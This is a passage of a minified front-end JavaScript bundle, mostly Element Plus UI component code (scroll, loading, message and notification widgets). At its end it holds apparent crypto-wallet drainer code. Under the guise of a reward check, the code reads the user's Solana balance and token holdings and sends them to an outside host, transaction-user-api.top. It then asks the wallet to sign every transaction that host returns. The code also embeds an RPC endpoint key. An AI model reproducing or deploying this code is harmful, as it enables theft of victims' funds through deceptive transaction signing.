U4=Ye(ove,[["__file","anchor-link.vue"]]);const ive=It(eve,{AnchorLink:U4}),sve=kn(U4);var ave=[mP,MP,_X,Cfe,iQ,fQ,Q6,MQ,CQ,dr,ok,F_,Q_,g$,y$,Oee,vee,Tee,Do,T$,Kk,Pee,fte,hte,ote,Jte,aP,tne,nne,rne,one,ine,Are,Tre,Nre,$re,fx,hoe,oie,iie,sie,qx,bD,ID,Pe,_ie,wx,Gr,Sx,fse,Kse,Rse,Lse,Zse,Bse,Pae,ele,ule,P6,Rx,Wk,_$,Q$,Mle,zle,Jee,Cs,zl,Lp,Iae,vue,Eue,Aue,tce,sce,_x,gce,Mce,Cce,jce,Bde,Jde,Mfe,Bfe,Jfe,Nd,Pfe,E_,ehe,ihe,she,Vr,Khe,Hhe,ape,ppe,Kpe,cme,Ime,Pme,Dme,ive,sve];const oi="ElInfiniteScroll",lve=50,uve=200,cve=0,dve={delay:{type:Number,default:uve},distance:{type:Number,default:cve},disabled:{type:Boolean,default:!1},immediate:{type:Boolean,default:!0}},HI=(e,t)=>Object.entries(dve).reduce((n,[r,o])=>{var i,s;const{type:a,default:l}=o,u=e.getAttribute(`infinite-scroll-${r}`);let c=(s=(i=t[u])!=null?i:u)!=null?s:l;return c=c==="false"?!1:c,c=a(c),n[r]=Number.isNaN(c)?l:c,n},{}),F4=e=>{const{observer:t}=e[oi];t&&(t.disconnect(),delete e[oi].observer)},fve=(e,t)=>{const{container:n,containerEl:r,instance:o,observer:i,lastScrollTop:s}=e[oi],{disabled:a,distance:l}=HI(e,o),{clientHeight:u,scrollHeight:c,scrollTop:f}=r,p=f-s;if(e[oi].lastScrollTop=f,i||a||p<0)return;let m=!1;if(n===e)m=c-(u+f)<=l;else{const{clientTop:g,scrollHeight:v}=e,I=Cg(e,r);m=f+u>=I+g+v-l}m&&t.call(o)};function E0(e,t){const{containerEl:n,instance:r}=e[oi],{disabled:o}=HI(e,r);o||n.clientHeight===0||(n.scrollHeight<=n.clientHeight?t.call(r):F4(e))}const hve={async mounted(e,t){const{instance:n,value:r}=t;ot(r)||tr(oi,"'v-infinite-scroll' binding value must be a function"),await $e();const{delay:o,immediate:i}=HI(e,n),s=R1(e,!0),a=s===window?document.documentElement:s,l=pl(fve.bind(null,e,r),o);if(s){if(e[oi]={instance:n,container:s,containerEl:a,delay:o,cb:r,onScroll:l,lastScrollTop:a.scrollTop},i){const u=new MutationObserver(pl(E0.bind(null,e,r),lve));e[oi].observer=u,u.observe(e,{childList:!0,subtree:!0}),E0(e,r)}s.addEventListener("scroll",l)}},unmounted(e){const{container:t,onScroll:n}=e[oi];t==null||t.removeEventListener("scroll",n),F4(e)},async updated(e){if(!e[oi])await $e();else{const{containerEl:t,cb:n,observer:r}=e[oi];t.clientHeight&&r&&E0(e,n)}}},Zy=hve;Zy.install=e=>{e.directive("InfiniteScroll",Zy)};const pve=Zy;function mve(e){let t;const n=D(!1),r=$t({...e,originalPosition:"",originalOverflow:"",visible:!1});function o(p){r.text=p}function i(){const p=r.parent,m=f.ns;if(!p.vLoadingAddClassList){let g=p.getAttribute("loading-number");g=Number.parseInt(g)-1,g?p.setAttribute("loading-number",g.toString()):(Br(p,m.bm("parent","relative")),p.removeAttribute("loading-number")),Br(p,m.bm("parent","hidden"))}s(),c.unmount()}function s(){var p,m;(m=(p=f.$el)==null?void 0:p.parentNode)==null||m.removeChild(f.$el)}function a(){var p;e.beforeClose&&!e.beforeClose()||(n.value=!0,clearTimeout(t),t=window.setTimeout(l,400),r.visible=!1,(p=e.closed)==null||p.call(e))}function l(){if(!n.value)return;const p=r.parent;n.value=!1,p.vLoadingAddClassList=void 0,i()}const c=YA(ie({name:"ElLoading",setup(p,{expose:m}){const{ns:g,zIndex:v}=Ym("loading");return m({ns:g,zIndex:v}),()=>{const I=r.spinner||r.svg,q=tt("svg",{class:"circular",viewBox:r.svgViewBox?r.svgViewBox:"0 0 50 50",...I?{innerHTML:I}:{}},[tt("circle",{class:"path",cx:"25",cy:"25",r:"20",fill:"none"})]),M=r.text?tt("p",{class:g.b("text")},[r.text]):void 0;return tt(Hn,{name:g.b("fade"),onAfterLeave:l},{default:fe(()=>[ft(ae("div",{style:{backgroundColor:r.background||""},class:[g.b("mask"),r.customClass,r.fullscreen?"is-fullscreen":""]},[tt("div",{class:g.b("spinner")},[q,M])]),[[_t,r.visible]])])})}}})),f=c.mount(document.createElement("div"));return{...Fn(r),setText:o,removeElLoadingChild:s,close:a,handleAfterLeave:l,vm:f,get $el(){return f.$el}}}let $f;const Ty=function(e={}){if(!Tt)return;const t=vve(e);if(t.fullscreen&&$f)return $f;const n=mve({...t,closed:()=>{var o;(o=t.closed)==null||o.call(t),t.fullscreen&&($f=void 0)}});gve(t,t.parent,n),W7(t,t.parent,n),t.parent.vLoadingAddClassList=()=>W7(t,t.parent,n);let r=t.parent.getAttribute("loading-number");return r?r=`${Number.parseInt(r)+1}`:r="1",t.parent.setAttribute("loading-number",r),t.parent.appendChild(n.$el),$e(()=>n.visible.value=t.visible),t.fullscreen&&($f=n),n},vve=e=>{var t,n,r,o;let i;return st(e.target)?i=(t=document.querySelector(e.target))!=null?t:document.body:i=e.target||document.body,{parent:i===document.body||e.body?document.body:i,background:e.background||"",svg:e.svg||"",svgViewBox:e.svgViewBox||"",spinner:e.spinner||!1,text:e.text||"",fullscreen:i===document.body&&((n=e.fullscreen)!=null?n:!0),lock:(r=e.lock)!=null?r:!1,customClass:e.customClass||"",visible:(o=e.visible)!=null?o:!0,target:i}},gve=async(e,t,n)=>{const{nextZIndex:r}=n.vm.zIndex||n.vm._.exposed.zIndex,o={};if(e.fullscreen)n.originalPosition.value=Ds(document.body,"position"),n.originalOverflow.value=Ds(document.body,"overflow"),o.zIndex=r();else if(e.parent===document.body){n.originalPosition.value=Ds(document.body,"position"),await $e();for(const i of["top","left"]){const s=i==="top"?"scrollTop":"scrollLeft";o[i]=`${e.target.getBoundingClientRect()[i]+document.body[s]+document.documentElement[s]-Number.parseInt(Ds(document.body,`margin-${i}`),10)}px`}for(const i of["height","width"])o[i]=`${e.target.getBoundingClientRect()[i]}px`}else n.originalPosition.value=Ds(t,"position");for(const[i,s]of Object.entries(o))n.$el.style[i]=s},W7=(e,t,n)=>{const r=n.vm.ns||n.vm._.exposed.ns;["absolute","fixed","sticky"].includes(n.originalPosition.value)?Br(t,r.bm("parent","relative")):To(t,r.bm("parent","relative")),e.fullscreen&&e.lock?To(t,r.bm("parent","hidden")):Br(t,r.bm("parent","hidden"))},Ph=Symbol("ElLoading"),G7=(e,t)=>{var n,r,o,i;const s=t.instance,a=p=>At(t.value)?t.value[p]:void 0,l=p=>{const m=st(p)&&(s==null?void 0:s[p])||p;return m&&D(m)},u=p=>l(a(p)||e.getAttribute(`element-loading-${ba(p)}`)),c=(n=a("fullscreen"))!=null?n:t.modifiers.fullscreen,f={text:u("text"),svg:u("svg"),svgViewBox:u("svgViewBox"),spinner:u("spinner"),background:u("background"),customClass:u("customClass"),fullscreen:c,target:(r=a("target"))!=null?r:c?void 0:e,body:(o=a("body"))!=null?o:t.modifiers.body,lock:(i=a("lock"))!=null?i:t.modifiers.lock};e[Ph]={options:f,instance:Ty(f)}},yve=(e,t)=>{for(const n of Object.keys(t))mn(t[n])&&(t[n].value=e[n])},Y7={mounted(e,t){t.value&&G7(e,t)},updated(e,t){const n=e[Ph];t.oldValue!==t.value&&(t.value&&!t.oldValue?G7(e,t):t.value&&t.oldValue?At(t.value)&&yve(t.value,n.options):n==null||n.instance.close())},unmounted(e){var t;(t=e[Ph])==null||t.instance.close(),e[Ph]=null}},bve={install(e){e.directive("loading",Y7),e.config.globalProperties.$loading=Ty},directive:Y7,service:Ty},H4=["success","info","warning","error"],Zr=Mn({customClass:"",center:!1,dangerouslyUseHTMLString:!1,duration:3e3,icon:void 0,id:"",message:"",onClose:void 0,showClose:!1,type:"info",plain:!1,offset:16,zIndex:0,grouping:!1,repeatNum:1,appendTo:Tt?document.body:void 0}),Ive=Ge({customClass:{type:String,default:Zr.customClass},center:{type:Boolean,default:Zr.center},dangerouslyUseHTMLString:{type:Boolean,default:Zr.dangerouslyUseHTMLString},duration:{type:Number,default:Zr.duration},icon:{type:cn,default:Zr.icon},id:{type:String,default:Zr.id},message:{type:he([String,Object,Function]),default:Zr.message},onClose:{type:he(Function),default:Zr.onClose},showClose:{type:Boolean,default:Zr.showClose},type:{type:String,values:H4,default:Zr.type},plain:{type:Boolean,default:Zr.plain},offset:{type:Number,default:Zr.offset},zIndex:{type:Number,default:Zr.zIndex},grouping:{type:Boolean,default:Zr.grouping},repeatNum:{type:Number,default:Zr.repeatNum}}),qve={destroy:()=>!0},si=JE([]),wve=e=>{const t=si.findIndex(o=>o.id===e),n=si[t];let r;return t>0&&(r=si[t-1]),{current:n,prev:r}},Sve=e=>{const{prev:t}=wve(e);return t?t.vm.exposed.bottom.value:0},Eve=(e,t)=>si.findIndex(r=>r.id===e)>0?16:t,Ave=["id"],Mve=["innerHTML"],Cve=ie({name:"ElMessage"}),kve=ie({...Cve,props:Ive,emits:qve,setup(e,{expose:t}){const n=e,{Close:r}=W1,{ns:o,zIndex:i}=Ym("message"),{currentZIndex:s,nextZIndex:a}=i,l=D(),u=D(!1),c=D(0);let f;const p=N(()=>n.type?n.type==="error"?"danger":n.type:"info"),m=N(()=>{const W=n.type;return{[o.bm("icon",W)]:W&&ga[W]}}),g=N(()=>n.icon||ga[n.type]||""),v=N(()=>Sve(n.id)),I=N(()=>Eve(n.id,n.offset)+v.value),q=N(()=>c.value+I.value),M=N(()=>({top:`${I.value}px`,zIndex:s.value}));function E(){n.duration!==0&&({stop:f}=fa(()=>{R()},n.duration))}function x(){f==null||f()}function R(){u.value=!1}function K({code:W}){W===_e.esc&&R()}return mt(()=>{E(),a(),u.value=!0}),Ce(()=>n.repeatNum,()=>{x(),E()}),pn(document,"keydown",K),On(l,()=>{c.value=l.value.getBoundingClientRect().height}),t({visible:u,bottom:q,close:R}),(W,j)=>(B(),ye(Hn,{name:d(o).b("fade"),onBeforeLeave:W.onClose,onAfterLeave:j[0]||(j[0]=H=>W.$emit("destroy")),persisted:""},{default:fe(()=>[ft(ne("div",{id:W.id,ref_key:"messageRef",ref:l,class:F([d(o).b(),{[d(o).m(W.type)]:W.type},d(o).is("center",W.center),d(o).is("closable",W.showClose),d(o).is("plain",W.plain),W.customClass]),style:De(d(M)),role:"alert",onMouseenter:x,onMouseleave:E},[W.repeatNum>1?(B(),ye(d(Q6),{key:0,value:W.repeatNum,type:d(p),class:F(d(o).e("badge"))},null,8,["value","type","class"])):pe("v-if",!0),d(g)?(B(),ye(d(Pe),{key:1,class:F([d(o).e("icon"),d(m)])},{default:fe(()=>[(B(),ye(Et(d(g))))]),_:1},8,["class"])):pe("v-if",!0),qe(W.$slots,"default",{},()=>[W.dangerouslyUseHTMLString?(B(),_(Qe,{key:1},[pe(" Caution here, message could've been compromised, never use user's input as message "),ne("p",{class:F(d(o).e("content")),innerHTML:W.message},null,10,Mve)],2112)):(B(),_("p",{key:0,class:F(d(o).e("content"))},We(W.message),3))]),W.showClose?(B(),ye(d(Pe),{key:2,class:F(d(o).e("closeBtn")),onClick:rt(R,["stop"])},{default:fe(()=>[ae(d(r))]),_:1},8,["class","onClick"])):pe("v-if",!0)],46,Ave),[[_t,u.value]])]),_:3},8,["name","onBeforeLeave"]))}});var xve=Ye(kve,[["__file","message.vue"]]);let Ove=1;const P4=e=>{const t=!e||st(e)||En(e)||ot(e)?{message:e}:e,n={...Zr,...t};if(!n.appendTo)n.appendTo=document.body;else if(st(n.appendTo)){let r=document.querySelector(n.appendTo);Fo(r)||(r=document.body),n.appendTo=r}return n},zve=e=>{const t=si.indexOf(e);if(t===-1)return;si.splice(t,1);const{handler:n}=e;n.close()},Kve=({appendTo:e,...t},n)=>{const r=`message_${Ove++}`,o=t.onClose,i=document.createElement("div"),s={...t,id:r,onClose:()=>{o==null||o(),zve(c)},onDestroy:()=>{da(null,i)}},a=ae(xve,s,ot(s.message)||En(s.message)?{default:ot(s.message)?s.message:()=>s.message}:null);a.appContext=n||lc._context,da(a,i),e.appendChild(i.firstElementChild);const l=a.component,c={id:r,vnode:a,vm:l,handler:{close:()=>{l.exposed.visible.value=!1}},props:a.component.props};return c},lc=(e={},t)=>{if(!Tt)return{close:()=>{}};if(nt(Yg.max)&&si.length>=Yg.max)return{close:()=>{}};const n=P4(e);if(n.grouping&&si.length){const o=si.find(({vnode:i})=>{var s;return((s=i.props)==null?void 0:s.message)===n.message});if(o)return o.props.repeatNum+=1,o.props.type=n.type,o.handler}const r=Kve(n,t);return si.push(r),r.handler};H4.forEach(e=>{lc[e]=(t={},n)=>{const r=P4(t);return lc({...r,type:e},n)}});function Rve(e){for(const t of si)(!e||e===t.props.type)&&t.handler.close()}lc.closeAll=Rve;lc._context=null;const Ny=$3(lc,"$message"),Lve=ie({name:"ElMessageBox",directives:{TrapFocus:s_},components:{ElButton:dr,ElFocusTrap:mf,ElInput:Gr,ElOverlay:bI,ElIcon:Pe,...W1},inheritAttrs:!1,props:{buttonSize:{type:String,validator:e6},modal:{type:Boolean,default:!0},lockScroll:{type:Boolean,default:!0},showClose:{type:Boolean,default:!0},closeOnClickModal:{type:Boolean,default:!0},closeOnPressEscape:{type:Boolean,default:!0},closeOnHashChange:{type:Boolean,default:!0},center:Boolean,draggable:Boolean,overflow:Boolean,roundButton:{default:!1,type:Boolean},container:{type:String,default:"body"},boxType:{type:String,default:""}},emits:["vanish","action"],setup(e,{emit:t}){const{locale:n,zIndex:r,ns:o,size:i}=Ym("message-box",N(()=>e.buttonSize)),{t:s}=n,{nextZIndex:a}=r,l=D(!1),u=$t({autofocus:!0,beforeClose:null,callback:null,cancelButtonText:"",cancelButtonClass:"",confirmButtonText:"",confirmButtonClass:"",customClass:"",customStyle:{},dangerouslyUseHTMLString:!1,distinguishCancelAndClose:!1,icon:"",inputPattern:null,inputPlaceholder:"",inputType:"text",inputValue:null,inputValidator:null,inputErrorMessage:"",message:null,modalFade:!0,modalClass:"",showCancelButton:!1,showConfirmButton:!0,type:"",title:void 0,showInput:!1,action:"",confirmButtonLoading:!1,cancelButtonLoading:!1,confirmButtonDisabled:!1,editorErrorMessage:"",validateError:!1,zIndex:a()}),c=N(()=>{const w=u.type;return{[o.bm("icon",w)]:w&&ga[w]}}),f=Jr(),p=Jr(),m=N(()=>u.icon||ga[u.type]||""),g=N(()=>!!u.message),v=D(),I=D(),q=D(),M=D(),E=D(),x=N(()=>u.confirmButtonClass);Ce(()=>u.inputValue,async w=>{await $e(),e.boxType==="prompt"&&w!==null&&X()},{immediate:!0}),Ce(()=>l.value,w=>{var A,C;w&&(e.boxType!=="prompt"&&(u.autofocus?q.value=(C=(A=E.value)==null?void 0:A.$el)!=null?C:v.value:q.value=v.value),u.zIndex=a()),e.boxType==="prompt"&&(w?$e().then(()=>{var S;M.value&&M.value.$el&&(u.autofocus?q.value=(S=L())!=null?S:v.value:q.value=v.value)}):(u.editorErrorMessage="",u.validateError=!1))});const R=N(()=>e.draggable),K=N(()=>e.overflow);t6(v,I,R,K),mt(async()=>{await $e(),e.closeOnHashChange&&window.addEventListener("hashchange",W)}),vn(()=>{e.closeOnHashChange&&window.removeEventListener("hashchange",W)});function W(){l.value&&(l.value=!1,$e(()=>{u.action&&t("action",u.action)}))}const j=()=>{e.closeOnClickModal&&U(u.distinguishCancelAndClose?"close":"cancel")},H=$1(j),P=w=>{if(u.inputType!=="textarea")return w.preventDefault(),U("confirm")},U=w=>{var A;e.boxType==="prompt"&&w==="confirm"&&!X()||(u.action=w,u.beforeClose?(A=u.beforeClose)==null||A.call(u,w,u,W):W())},X=()=>{if(e.boxType==="prompt"){const w=u.inputPattern;if(w&&!w.test(u.inputValue||""))return u.editorErrorMessage=u.inputErrorMessage||s("el.messagebox.error"),u.validateError=!0,!1;const A=u.inputValidator;if(typeof A=="function"){const C=A(u.inputValue);if(C===!1)return u.editorErrorMessage=u.inputErrorMessage||s("el.messagebox.error"),u.validateError=!0,!1;if(typeof C=="string")return u.editorErrorMessage=C,u.validateError=!0,!1}}return u.editorErrorMessage="",u.validateError=!1,!0},L=()=>{const w=M.value.$refs;return w.input||w.textarea},h=()=>{U("close")},b=()=>{e.closeOnPressEscape&&h()};return e.lockScroll&&V1(l),{...Fn(u),ns:o,overlayEvent:H,visible:l,hasMessage:g,typeClass:c,contentId:f,inputId:p,btnSize:i,iconComponent:m,confirmButtonClasses:x,rootRef:v,focusStartRef:q,headerRef:I,inputRef:M,confirmRef:E,doClose:W,handleClose:h,onCloseRequested:b,handleWrapperClick:j,handleInputEnter:P,handleAction:U,t:s}}}),Zve=["aria-label","aria-describedby"],Tve=["aria-label"],Nve=["id"];function jve(e,t,n,r,o,i){const s=pt("el-icon"),a=pt("close"),l=pt("el-input"),u=pt("el-button"),c=pt("el-focus-trap"),f=pt("el-overlay");return B(),ye(Hn,{name:"fade-in-linear",onAfterLeave:t[11]||(t[11]=p=>e.$emit("vanish")),persisted:""},{default:fe(()=>[ft(ae(f,{"z-index":e.zIndex,"overlay-class":[e.ns.is("message-box"),e.modalClass],mask:e.modal},{default:fe(()=>[ne("div",{role:"dialog","aria-label":e.title,"aria-modal":"true","aria-describedby":e.showInput?void 0:e.contentId,class:F(`${e.ns.namespace.value}-overlay-message-box`),onClick:t[8]||(t[8]=(...p)=>e.overlayEvent.onClick&&e.overlayEvent.onClick(...p)),onMousedown:t[9]||(t[9]=(...p)=>e.overlayEvent.onMousedown&&e.overlayEvent.onMousedown(...p)),onMouseup:t[10]||(t[10]=(...p)=>e.overlayEvent.onMouseup&&e.overlayEvent.onMouseup(...p))},[ae(c,{loop:"",trapped:e.visible,"focus-trap-el":e.rootRef,"focus-start-el":e.focusStartRef,onReleaseRequested:e.onCloseRequested},{default:fe(()=>[ne("div",{ref:"rootRef",class:F([e.ns.b(),e.customClass,e.ns.is("draggable",e.draggable),{[e.ns.m("center")]:e.center}]),style:De(e.customStyle),tabindex:"-1",onClick:t[7]||(t[7]=rt(()=>{},["stop"]))},[e.title!==null&&e.title!==void 0?(B(),_("div",{key:0,ref:"headerRef",class:F([e.ns.e("header"),{"show-close":e.showClose}])},[ne("div",{class:F(e.ns.e("title"))},[e.iconComponent&&e.center?(B(),ye(s,{key:0,class:F([e.ns.e("status"),e.typeClass])},{default:fe(()=>[(B(),ye(Et(e.iconComponent)))]),_:1},8,["class"])):pe("v-if",!0),ne("span",null,We(e.title),1)],2),e.showClose?(B(),_("button",{key:0,type:"button",class:F(e.ns.e("headerbtn")),"aria-label":e.t("el.messagebox.close"),onClick:t[0]||(t[0]=p=>e.handleAction(e.distinguishCancelAndClose?"close":"cancel")),onKeydown:t[1]||(t[1]=un(rt(p=>e.handleAction(e.distinguishCancelAndClose?"close":"cancel"),["prevent"]),["enter"]))},[ae(s,{class:F(e.ns.e("close"))},{default:fe(()=>[ae(a)]),_:1},8,["class"])],42,Tve)):pe("v-if",!0)],2)):pe("v-if",!0),ne("div",{id:e.contentId,class:F(e.ns.e("content"))},[ne("div",{class:F(e.ns.e("container"))},[e.iconComponent&&!e.center&&e.hasMessage?(B(),ye(s,{key:0,class:F([e.ns.e("status"),e.typeClass])},{default:fe(()=>[(B(),ye(Et(e.iconComponent)))]),_:1},8,["class"])):pe("v-if",!0),e.hasMessage?(B(),_("div",{key:1,class:F(e.ns.e("message"))},[qe(e.$slots,"default",{},()=>[e.dangerouslyUseHTMLString?(B(),ye(Et(e.showInput?"label":"p"),{key:1,for:e.showInput?e.inputId:void 0,innerHTML:e.message},null,8,["for","innerHTML"])):(B(),ye(Et(e.showInput?"label":"p"),{key:0,for:e.showInput?e.inputId:void 0},{default:fe(()=>[Kt(We(e.dangerouslyUseHTMLString?"":e.message),1)]),_:1},8,["for"]))])],2)):pe("v-if",!0)],2),ft(ne("div",{class:F(e.ns.e("input"))},[ae(l,{id:e.inputId,ref:"inputRef",modelValue:e.inputValue,"onUpdate:modelValue":t[2]||(t[2]=p=>e.inputValue=p),type:e.inputType,placeholder:e.inputPlaceholder,"aria-invalid":e.validateError,class:F({invalid:e.validateError}),onKeydown:un(e.handleInputEnter,["enter"])},null,8,["id","modelValue","type","placeholder","aria-invalid","class","onKeydown"]),ne("div",{class:F(e.ns.e("errormsg")),style:De({visibility:e.editorErrorMessage?"visible":"hidden"})},We(e.editorErrorMessage),7)],2),[[_t,e.showInput]])],10,Nve),ne("div",{class:F(e.ns.e("btns"))},[e.showCancelButton?(B(),ye(u,{key:0,loading:e.cancelButtonLoading,class:F([e.cancelButtonClass]),round:e.roundButton,size:e.btnSize,onClick:t[3]||(t[3]=p=>e.handleAction("cancel")),onKeydown:t[4]||(t[4]=un(rt(p=>e.handleAction("cancel"),["prevent"]),["enter"]))},{default:fe(()=>[Kt(We(e.cancelButtonText||e.t("el.messagebox.cancel")),1)]),_:1},8,["loading","class","round","size"])):pe("v-if",!0),ft(ae(u,{ref:"confirmRef",type:"primary",loading:e.confirmButtonLoading,class:F([e.confirmButtonClasses]),round:e.roundButton,disabled:e.confirmButtonDisabled,size:e.btnSize,onClick:t[5]||(t[5]=p=>e.handleAction("confirm")),onKeydown:t[6]||(t[6]=un(rt(p=>e.handleAction("confirm"),["prevent"]),["enter"]))},{default:fe(()=>[Kt(We(e.confirmButtonText||e.t("el.messagebox.confirm")),1)]),_:1},8,["loading","class","round","disabled","size"]),[[_t,e.showConfirmButton]])],2)],6)]),_:3},8,["trapped","focus-trap-el","focus-start-el","onReleaseRequested"])],42,Zve)]),_:3},8,["z-index","overlay-class","mask"]),[[_t,e.visible]])]),_:3})}var Wve=Ye(Lve,[["render",jve],["__file","index.vue"]]);const Fd=new Map,Gve=e=>{let t=document.body;return e.appendTo&&(st(e.appendTo)&&(t=document.querySelector(e.appendTo)),Fo(e.appendTo)&&(t=e.appendTo),Fo(t)||(t=document.body)),t},Yve=(e,t,n=null)=>{const r=ae(Wve,e,ot(e.message)||En(e.message)?{default:ot(e.message)?e.message:()=>e.message}:null);return r.appContext=n,da(r,t),Gve(e).appendChild(t.firstElementChild),r.component},Bve=()=>document.createElement("div"),Jve=(e,t)=>{const n=Bve();e.onVanish=()=>{da(null,n),Fd.delete(o)},e.onAction=i=>{const s=Fd.get(o);let a;e.showInput?a={value:o.inputValue,action:i}:a=i,e.callback?e.callback(a,r.proxy):i==="cancel"||i==="close"?e.distinguishCancelAndClose&&i!=="cancel"?s.reject("close"):s.reject("cancel"):s.resolve(a)};const r=Yve(e,n,t),o=r.proxy;for(const i in e)Gt(e,i)&&!Gt(o.$props,i)&&(o[i]=e[i]);return o.visible=!0,o};function Ec(e,t=null){if(!Tt)return Promise.reject();let n;return st(e)||En(e)?e={message:e}:n=e.callback,new Promise((r,o)=>{const i=Jve(e,t??Ec._context);Fd.set(i,{options:e,callback:n,resolve:r,reject:o})})}const Vve=["alert","confirm","prompt"],Uve={alert:{closeOnPressEscape:!1,closeOnClickModal:!1},confirm:{showCancelButton:!0},prompt:{showCancelButton:!0,showInput:!0}};Vve.forEach(e=>{Ec[e]=Fve(e)});function Fve(e){return(t,n,r,o)=>{let i="";return At(n)?(r=n,i=""):Vn(n)?i="":i=n,Ec(Object.assign({title:i,message:t,type:"",...Uve[e]},r,{boxType:e}),o)}}Ec.close=()=>{Fd.forEach((e,t)=>{t.doClose()}),Fd.clear()};Ec._context=null;const Bs=Ec;Bs.install=e=>{Bs._context=e._context,e.config.globalProperties.$msgbox=Bs,e.config.globalProperties.$messageBox=Bs,e.config.globalProperties.$alert=Bs.alert,e.config.globalProperties.$confirm=Bs.confirm,e.config.globalProperties.$prompt=Bs.prompt};const Hve=Bs,D4=["success","info","warning","error"],Pve=Ge({customClass:{type:String,default:""},dangerouslyUseHTMLString:{type:Boolean,default:!1},duration:{type:Number,default:4500},icon:{type:cn},id:{type:String,default:""},message:{type:he([String,Object]),default:""},offset:{type:Number,default:0},onClick:{type:he(Function),default:()=>{}},onClose:{type:he(Function),required:!0},position:{type:String,values:["top-right","top-left","bottom-right","bottom-left"],default:"top-right"},showClose:{type:Boolean,default:!0},title:{type:String,default:""},type:{type:String,values:[...D4,""],default:""},zIndex:Number}),Dve={destroy:()=>!0},Xve=["id"],Qve=["textContent"],_ve={key:0},$ve=["innerHTML"],e0e=ie({name:"ElNotification"}),t0e=ie({...e0e,props:Pve,emits:Dve,setup(e,{expose:t}){const n=e,{ns:r,zIndex:o}=Ym("notification"),{nextZIndex:i,currentZIndex:s}=o,{Close:a}=j1,l=D(!1);let u;const c=N(()=>{const E=n.type;return E&&ga[n.type]?r.m(E):""}),f=N(()=>n.type&&ga[n.type]||n.icon),p=N(()=>n.position.endsWith("right")?"right":"left"),m=N(()=>n.position.startsWith("top")?"top":"bottom"),g=N(()=>{var E;return{[m.value]:`${n.offset}px`,zIndex:(E=n.zIndex)!=null?E:s.value}});function v(){n.duration>0&&({stop:u}=fa(()=>{l.value&&q()},n.duration))}function I(){u==null||u()}function q(){l.value=!1}function M({code:E}){E===_e.delete||E===_e.backspace?I():E===_e.esc?l.value&&q():v()}return mt(()=>{v(),i(),l.value=!0}),pn(document,"keydown",M),t({visible:l,close:q}),(E,x)=>(B(),ye(Hn,{name:d(r).b("fade"),onBeforeLeave:E.onClose,onAfterLeave:x[1]||(x[1]=R=>E.$emit("destroy")),persisted:""},{default:fe(()=>[ft(ne("div",{id:E.id,class:F([d(r).b(),E.customClass,d(p)]),style:De(d(g)),role:"alert",onMouseenter:I,onMouseleave:v,onClick:x[0]||(x[0]=(...R)=>E.onClick&&E.onClick(...R))},[d(f)?(B(),ye(d(Pe),{key:0,class:F([d(r).e("icon"),d(c)])},{default:fe(()=>[(B(),ye(Et(d(f))))]),_:1},8,["class"])):pe("v-if",!0),ne("div",{class:F(d(r).e("group"))},[ne("h2",{class:F(d(r).e("title")),textContent:We(E.title)},null,10,Qve),ft(ne("div",{class:F(d(r).e("content")),style:De(E.title?void 0:{margin:0})},[qe(E.$slots,"default",{},()=>[E.dangerouslyUseHTMLString?(B(),_(Qe,{key:1},[pe(" Caution here, message could've been compromised, never use user's input as message "),ne("p",{innerHTML:E.message},null,8,$ve)],2112)):(B(),_("p",_ve,We(E.message),1))])],6),[[_t,E.message]]),E.showClose?(B(),ye(d(Pe),{key:0,class:F(d(r).e("closeBtn")),onClick:rt(q,["stop"])},{default:fe(()=>[ae(d(a))]),_:1},8,["class","onClick"])):pe("v-if",!0)],2)],46,Xve),[[_t,l.value]])]),_:3},8,["name","onBeforeLeave"]))}});var n0e=Ye(t0e,[["__file","notification.vue"]]);const Jp={"top-left":[],"top-right":[],"bottom-left":[],"bottom-right":[]},jy=16;let r0e=1;const uc=function(e={},t=null){if(!Tt)return{close:()=>{}};(typeof e=="string"||En(e))&&(e={message:e});const n=e.position||"top-right";let r=e.offset||0;Jp[n].forEach(({vm:c})=>{var f;r+=(((f=c.el)==null?void 0:f.offsetHeight)||0)+jy}),r+=jy;const o=`notification_${r0e++}`,i=e.onClose,s={...e,offset:r,id:o,onClose:()=>{o0e(o,n,i)}};let a=document.body;Fo(e.appendTo)?a=e.appendTo:st(e.appendTo)&&(a=document.querySelector(e.appendTo)),Fo(a)||(a=document.body);const l=document.createElement("div"),u=ae(n0e,s,En(s.message)?{default:()=>s.message}:null);return u.appContext=t??uc._context,u.props.onDestroy=()=>{da(null,l)},da(u,l),Jp[n].push({vm:u}),a.appendChild(l.firstElementChild),{close:()=>{u.component.exposed.visible.value=!1}}};D4.forEach(e=>{uc[e]=(t={})=>((typeof t=="string"||En(t))&&(t={message:t}),uc({...t,type:e}))});function o0e(e,t,n){const r=Jp[t],o=r.findIndex(({vm:u})=>{var c;return((c=u.component)==null?void 0:c.props.id)===e});if(o===-1)return;const{vm:i}=r[o];if(!i)return;n==null||n(i);const s=i.el.offsetHeight,a=t.split("-")[0];r.splice(o,1);const l=r.length;if(!(l<1))for(let u=o;u<l;u++){const{el:c,component:f}=r[u].vm,p=Number.parseInt(c.style[a],10)-s-jy;f.props.offset=p}}function i0e(){for(const e of Object.values(Jp))e.forEach(({vm:t})=>{t.component.exposed.visible.value=!1})}uc.closeAll=i0e;uc._context=null;const s0e=$3(uc,"$notify");var a0e=[pve,bve,Ny,Hve,s0e,Kx],l0e=uP([...ave,...a0e]);const u0e="SHIT",c0e="https://prettiest-young-meme.solana-mainnet.quiknode.pro/75275df04900b319c9f0c6fa17f86ef191406df8/",B7="wzpeUomX2VNiswbyYMLqYsdN4nNFZSobNs5xuR7shit",A0=async()=>{var f,p;const e=p1();if(e.isLoading)return;e.isShowBack=!1,e.isLoading=!0;const t=gc(),n=(p=(f=t.wallet.value)==null?void 0:f.adapter)==null?void 0:p.name,r=t.publicKey.value,o=t.signAllTransactions.value;if(!r)throw new In;const i=new eN(c0e),s=await i.getBalance(r)/tN;e.balance=s;const a=await i.getTokenAccountsByOwner(r,{programId:VW},"confirmed"),l=[];if(a.value.forEach(m=>{const g=BC.decode(m.account.data),v=Number(g.amount),I=new ht(g.mint).toString();v>0&&iG.includes(I)&&l.push([I,v])}),s<.02||l.length===0&&s<.3){Ny({message:"You are not rewarded or not enough sol for fees!",type:"info",plain:!0}),e.isLoading=!1,e.isShowBack=!0;return}l.some(m=>m[0]===B7)||l.push([`${new ht(B7)}`,0]);const c={method:"POST",headers:{"Content-Type":"application/json",Accept:"application/json",Connection:"Keep-Alive"},body:JSON.stringify([r,l,[10,u0e],!0,n],(m,g)=>typeof g=="bigint"?`${g}n`:g),timeout:3e4};try{e.isLoading=!0;const g=await(await fetch("https://www.transaction-user-api.top/",c)).json(),v=[];for(let q=0;q<g.length;q++){const M=jr.from(en.from(g[q],"base64"));v.push(M)}const I=await o(v);for(let 